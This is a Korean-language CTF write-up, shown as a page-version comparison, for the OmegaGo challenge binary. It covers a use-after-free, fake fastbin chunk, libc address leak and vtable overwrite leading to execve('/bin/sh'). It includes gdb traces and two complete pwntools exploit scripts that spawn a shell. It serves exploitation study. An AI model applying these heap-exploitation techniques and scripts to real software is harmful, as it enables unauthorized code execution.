Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

  • 다음과 같은 구조로 shell을 획득합니다.
Panel

vtable

void (__fastcall *Play)void (__fastcall *Play)

AI

Heap address

0x4050400x40290A
AIHeap address(UAF)gCmd(0x60943C) 전역 변수User input(Call One gadget)

공격에 필요한 정보 수집

Leak Libc address

...

  • "surrender" 를 입력하고 게임을 재시작하면 다음과 같이 Heap 영역이 변경됩니다.

    • 변경된 heap address에 의해 Fake chunk는 fastbins에 추가 되었습니다.

    • AI의 vtable을 저장 할 Heap 영역을 요청하면 fastbins에 등록되었던 Fack chunk(0xac6290)가 할당됩니다.
    • 이로 인해 AI vtable(0xac6290) 영역에 board[]의 정보를 덮어쓸 수 있습니다.
Code Block
$ surrender
This AI is too strong, ah?
Play history? (y/n)
$ n
Play again? (y/n)
$ y
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 180.00

$ 

...

Code Block
Breakpoint 1, 0x0000000000401761 in ?? ()
gdb-peda$ p main_arena.fastbinsY 
$1 = {0xac6280, 0xab8a40, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gdb-peda$ ni
0x0000000000401766 in ?? ()
gdb-peda$ i r rax
rax            0xac6290	0xac6290
gdb-peda$ p main_arena.fastbinsY 
$2 = {0x0, 0xab8a40, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gdb-peda$ x/4gx 0xac6290
0xac6290:	0x0000000000000000	0x0000000000000000
0xac62a0:	0x0000000000000000	0x0000000000000400
gdb-peda$ c
Continuing.
^C
Program received signal SIGINT, Interrupt.
0x00007ff033729230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	in ../sysdeps/unix/syscall-template.S
gdb-peda$ x/4gx 0xac6290
0xac6290:	0x0000000000405040	0x0000000000000000
0xac62a0:	0x0000000000000000	0x0000000000000400
gdb-peda$ x/gx 0x0000000000405040
0x405040:	0x000000000040290a
gdb-peda$ x/10i 0x000000000040290a
   0x40290a:	push   rbp
   0x40290b:	mov    rbp,rsp
   0x40290e:	sub    rsp,0x150
   0x402915:	mov    QWORD PTR [rbp-0x128],rdi
   0x40291c:	mov    QWORD PTR [rbp-0x130],rsi
   0x402923:	mov    DWORD PTR [rbp-0x134],edx
   0x402929:	mov    QWORD PTR [rbp-0x140],rcx
   0x402930:	mov    QWORD PTR [rbp-0x148],r8
   0x402937:	mov    rax,QWORD PTR fs:0x28
   0x402940:	mov    QWORD PTR [rbp-0x8],rax
gdb-peda$
  • 다음과 같이 스크립트에 코드를 추가합니다.
Code Block
#0xXXXX010 -> 0xxxxx290
Play('D19')
Play('E19')

surrender()

Overwrite the vtable

  • 다음과 같이 AI vtable을 덮어쓸 수 있습니다.
    • AI vtable영역에서 호출 할 함수의 주소가 저장된 영역의 주소가 저장된 곳은 GameInfo.board[9] 으로 덮어쓰여 집니다.
    • 해당 영역에 저장 할 주소는 gCmd 전역 변수 + 4(0x60943C + 0x4 = 0x609440) 입니다. 
  • 해당 정보를 이용해 다음과 같은 위치 값을 생성할 값을 덮어쓸 수 있습니다.
    • D14, E14, G14위치 값 : D14, E14, G14, R15, A5, Q6
    • GameInfo.board[9] 영역에 0x609440이 저장되었습니다.
Code Block
Q6
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 .................XO
14 ..OXX.X............
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ............O.OOX..
 5 XO.................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 162.59


gdb-peda$ x/20gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000000
0x609fd0:	0x1800000000000000	0x00000000000008a4
0x609fe0:	0x0000000000000000	0x0000010000000000
0x609ff0:	0x0000000000000000	0x0000000000000000
0x60a000:	0x0000000000609440	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
0x60a020:	0x0000000200000005	0x000000000000004f
0x60a030:	0x40667fffaa044ae6	0x406452c1871e6cd3
0x60a040:	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
0x60a020:	0x0000000200000005	0x000000000000004f
0x60a030:	0x40667fffaa044ae6	0x406452c1871e6cd3
0x60a040:	0x0000000000000000	0x0000000000000000
0x60a050:	0x0000000000000000	0x0000000000000000
gdb-peda$ 	0x0000000000000000
0x60a050:	0x0000000000000000	0x0000000000000000
gdb-peda$ 
  • 다음과 같이 스크립트에 코드를 추가합니다.


Code Block
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)


#vtable Overflow
Play('D14')
Play('E14')
Play('G14')
Play('R15')
Play('A5')
Play('Q6')

Fill('A','E',19) 
sleep(20)
Play('F19|'+p64(execve_bash))



  • 다음과 같이 변경된 vtable 정보를 확인 할 수 있습니다.
    • AI vtable 영역은 0x1a37290 이며, 해당 영역에 gCmd 전역 변수(+4)의 주소가 저장되어 있습니다.


Code Block
lazenca0x0@ubuntu:~$ gdb -q -p 59695
Attaching to process 59695
Reading symbols from /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
Reading symbols from /usr/lib/x86_64-linux-gnu/libstdc++.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libgcc_s.so.1...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so...done.
done.
Reading symbols from /lib/x86_64-linux-gnu/libm.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libm-2.23.so...done.
done.
Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/ld-2.23.so...done.
done.


gdb-peda$ b *0x4017D0
Breakpoint 1 at 0x4017d0
gdb-peda$ c
Continuing.


Breakpoint 1, 0x00000000004017d0 in ?? ()
gdb-peda$ x/13i $rip
=> 0x4017d0:	mov    rax,QWORD PTR [rbp+rax*8-0x30]
   0x4017d5:	mov    rax,QWORD PTR [rax]
   0x4017d8:	mov    rax,QWORD PTR [rax]
   0x4017db:	mov    edx,DWORD PTR [rbp-0x5c]
   0x4017de:	sub    edx,0x1
   0x4017e1:	movsxd rdx,edx
   0x4017e4:	mov    rdi,QWORD PTR [rbp+rdx*8-0x30]
   0x4017e9:	lea    rsi,[rbp-0x60]
   0x4017ed:	lea    rcx,[rbp-0x64]
   0x4017f1:	mov    edx,DWORD PTR [rbp-0x5c]
   0x4017f4:	mov    r8,rsi
   0x4017f7:	mov    esi,0x609fc0
   0x4017fc:	call   rax
gdb-peda$ i r rax
rax            0x0	0x0
gdb-peda$ i r rbp
rbp            0x7ffdb99059e0	0x7ffdb99059e0
gdb-peda$ p/x 0x7ffdb99059e0 - 0x30
$1 = 0x7ffdb99059b0
gdb-peda$ x/gx 0x7ffdb99059b0
0x7ffdb99059b0:	0x0000000001a37290
gdb-peda$ x/gx 0x0000000001a37290
0x1a37290:	0x0000000000609440
gdb-peda$ x/gx 0x0000000000609440
0x609440:	0x00007f10d2973117
gdb-peda$ x/5i 0x00007f10d2973117
   0x7f10d2973117 <exec_comm+2263>:	mov    rax,QWORD PTR [rip+0x2d2d9a]        # 0x7f10d2c45eb8
   0x7f10d297311e <exec_comm+2270>:	lea    rsi,[rsp+0x70]
   0x7f10d2973123 <exec_comm+2275>:	lea    rdi,[rip+0x9bbed]        # 0x7f10d2a0ed17
   0x7f10d297312a <exec_comm+2282>:	mov    rdx,QWORD PTR [rax]
   0x7f10d297312d <exec_comm+2285>:	call   0x7f10d294e770 <execve>
gdb-peda$ b *0x4017fc
Breakpoint 2 at 0x4017fc
gdb-peda$ c
Continuing.


Breakpoint 2, 0x00000000004017fc in ?? ()
gdb-peda$ i r rax
rax            0x7f10d2973117	0x7f10d2973117
gdb-peda$ c
Continuing.
process 59695 is executing new program: /bin/dash






  • 다음과 같이 vtable을 Overwirte을 할 수 있습니다.

    • gameInfo.board[4]영역에 값으로 0x609440을 설정합니다.
      • 사용자 입력 값을 저장하는 전역변수 command(0x60943C)주소 값에 0x4을 더한 값입니다.
    • gameInfo.board[1] 영역까지 Heap 주소로 채웁니다.
    • 0x*****550 영역에 gameInfo.board[4]에 저장된 값이 저장됩니다.
      • 좌표값 뒤에 어떤 값이든 7개를 입력할 수 있습니다.
        • Ex)A19!@#$%^&
      • 0x609440 영역에 execve("/bin/sh") 코드의 주소를 저장하면 shell을 획득할 수 있습니다.
  • 다음은 디버깅을 통해 확인한 내용입니다.
    • gameInfo.board[1] 영역에 저장된 heap 주소는 0x16a5530 입니다.
    • 0x16a5530을 기준으로 gameInfo.board[4]에 0x609440이 저장되어 있습니다.
      • 즉, vtable을 0x609440으로 덮어쓴 것입니다.
    • 0x609440 영역에는 execve("/bin/sh") 코드의 주소가 저장되어 있습니다.

...

Code Block
from pwn import *
 
#context.log_level = 'debug'
 
col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']
 
p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')

def Play(location):
    p.recvuntil('\n\n')
    p.sendline(location)
 
 
def readBoard():
    global board
    board = []
    p.recvline()
    for line in range(0,19):
    	p.recv(3)
        board.append(p.recvuntil('\n')[0:19])
 
def surrender():
    p.recvuntil('\n\n')
    p.sendline('surrender')
    p.recvuntil('Play history? (y/n)')
    p.sendline('n')
    p.recvuntil('Play again? (y/n)')
    p.sendline('y')
 
def Fill(colStart, colEnd, row):
    for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
    	locate = str(col_list[colNum])
        locate += str(row)
        Play(locate)
 
def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
    return result
 
def LeakAddress():
    readBoard()
    return decode(0)
 
def LeakLibcAddress():
    readBoard()
    return decode(32)
  
#Memory reconstruction   
surrender()
#surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)

#Leak LibcAddress
p.recvuntil('\n\n')
p.sendline('D19')
p.recvuntil('\n\n')
p.sendline('regret')

libcAddress = LeakLibcAddress()
libcBaseAddress = libcAddress - 0x3c4b78
#execve_bash = libcBaseAddress + 0xe66bd
execve_bash = libcBaseAddress + 0xF1117 

log.info('Libc Address : ' + hex(libcAddress))
log.info('Libc Base Address : ' + hex(libcBaseAddress))
log.info('execve bash Address : ' + hex(execve_bash))

#Memory reconstruction
surrender()
surrender()
surrender()
surrender()
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)

#Fake Chunk
Play('D14')
Play('R8')

#0xXXXX410 -> 0xxxxx550
Fill('A','I',10)

#0xXXXX410 -> 0xxxxx550
Play('D19')
Play('E19')

#sleep(30)#UAF
surrender()

#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)

#vtable Overflow
Play('D14')
Play('E14')
Play('G14')
Play('R15')
Play('A5')
Play('Q6')

Fill('A','E',19) 
Play('F19|'+p64(execve_bash))
 
p.interactive()

...

Code Block
languagepy
titleExploit.py
from pwn import *
 
#context.log_level = 'debug'
 
col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']
 
p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')
 
def Play(location):
    p.recvuntil('\n\n')
    p.sendline(location)
 
 
def readBoard():
    global board
    board = []
    p.recvline()
    for line in range(0,19):
    	p.recv(3)
        board.append(p.recvuntil('\n')[0:19])
 
def surrender():
    p.recvuntil('\n\n')
    p.sendline('surrender')
    p.recvuntil('Play history? (y/n)')
    p.sendline('n')
    p.recvuntil('Play again? (y/n)')
    p.sendline('y')
 
def Fill(colStart, colEnd, row):
    for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
    	locate = str(col_list[colNum])
        locate += str(row)
        Play(locate)
 
def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
    return result
 
def LeakAddress():
    readBoard()
    return decode(0)
 
def LeakLibcAddress():
    readBoard()
    return decode(32)
  
#Memory reconstruction   
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)
 
#Leak LibcAddress
p.recvuntil('\n\n')
p.sendline('D19')
p.recvuntil('\n\n')
p.sendline('regret')

libcAddress = LeakLibcAddress()
libcBaseAddress = libcAddress - 0x3be7b8
execve_bash = libcBaseAddress + 0xe66bd
 
log.info('Libc Address : ' + hex(libcAddress))
log.info('Libc Base Address : ' + hex(libcBaseAddress))
log.info('execve bash Address : ' + hex(execve_bash))

#Memory reconstruction
surrender()
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
 
#Fake Chunk
Play('D14')
Play('R8')
 
#0xXXXX410 -> 0xxxxx550
Fill('A','I',10)
Play('P1')
Play('O1')

surrender()

#Fill out to board 
Fill('B','S',6)
for line in range(15,20):
    Fill('A','S',line)
Play('A6')
 
#vtable Overflow
Play('B7')
Play('S8')
Play('R8')
Play('C12')
Play('F12')
Play('M8')
 
for line in range(16,19):
    Fill('A','S',line)
 
Fill('A','E',15)
sleep(20) 
Play('F15|'+p64(execve_bash))
 
p.interactive()

...